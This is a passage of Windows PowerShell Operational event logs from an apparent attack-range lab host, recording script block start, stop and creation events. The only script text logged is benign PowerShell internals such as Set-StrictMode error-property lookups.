EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648429
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648488
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648487
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648485
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648484
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648483
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648482
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648481
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648480
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648479
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648478
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648477
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648476
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648475
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648474
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648473
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648472
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648471
Keywords=None
Message=Completed invocation of ScriptBlock ID: ea1209d5-60a8-470a-b39a-f95038ae9589
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648470
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6d4b6341-6111-48de-8002-965671a34914
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648469
Keywords=None
Message=Started invocation of ScriptBlock ID: 6d4b6341-6111-48de-8002-965671a34914
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648468
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?

ScriptBlock ID: 6d4b6341-6111-48de-8002-965671a34914
Path:
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 39c402a4-3397-499f-8d3e-89ebdf04c904
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648466
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6aa13730-7341-4a83-b4f2-b67cddad25e1
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648465
Keywords=None
Message=Completed invocation of ScriptBlock ID: ee92e971-464b-4378-a5ff-f391a8a12e7f
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648464
Keywords=None
Message=Started invocation of ScriptBlock ID: ee92e971-464b-4378-a5ff-f391a8a12e7f
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648463
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }

ScriptBlock ID: ee92e971-464b-4378-a5ff-f391a8a12e7f
Path:
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648462
Keywords=None
Message=Completed invocation of ScriptBlock ID: c20d8a89-1ab8-4247-95f5-f6783c375b74
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648461
Keywords=None
Message=Started invocation of ScriptBlock ID: c20d8a89-1ab8-4247-95f5-f6783c375b74
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648460
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }

ScriptBlock ID: c20d8a89-1ab8-4247-95f5-f6783c375b74
Path:
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648459
Keywords=None
Message=Completed invocation of ScriptBlock ID: a0b23308-f95a-42f7-b580-24d07ffc86d8
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648458
Keywords=None
Message=Completed invocation of ScriptBlock ID: 25c8cc2e-99cb-478b-b3c2-e04b29f80dc0
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a0cb70a-23ea-4a2e-921b-f818d936b32f
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648456
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a0cb70a-23ea-4a2e-921b-f818d936b32f
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648455
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }

ScriptBlock ID: 3a0cb70a-23ea-4a2e-921b-f818d936b32f
Path:
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648454
Keywords=None
Message=Started invocation of ScriptBlock ID: 25c8cc2e-99cb-478b-b3c2-e04b29f80dc0
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648453
Keywords=None
Message=Started invocation of ScriptBlock ID: a0b23308-f95a-42f7-b580-24d07ffc86d8
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648452
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }

ScriptBlock ID: a0b23308-f95a-42f7-b580-24d07ffc86d8
Path:
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648451
Keywords=None
Message=Started invocation of ScriptBlock ID: 6aa13730-7341-4a83-b4f2-b67cddad25e1
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648450
Keywords=None
Message=Completed invocation of ScriptBlock ID: f72e98f2-2e1f-4ce9-a7a9-338fd38c2bca
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648449
Keywords=None
Message=Started invocation of ScriptBlock ID: f72e98f2-2e1f-4ce9-a7a9-338fd38c2bca
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648448
Keywords=None
Message=Started invocation of ScriptBlock ID: 39c402a4-3397-499f-8d3e-89ebdf04c904
Runspace ID: accb355c-ddec-4f99-a0c1-8ae22efbbe63
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2648447
Keywords=None
Message=Creating Scriptblock text (1 of 1):
reed_schmidt

ScriptBlock ID: 39c402a4-3397-499f-8d3e-89ebdf04c904
Path:
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=2648446
Keywords=None
Message=PowerShell console is ready for user input
09/14/2021 01:20:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=2648445
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 4176 in AppDomain: DefaultAppDomain.
09/14/2021 01:20:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648498
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648496
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648494
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648492
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
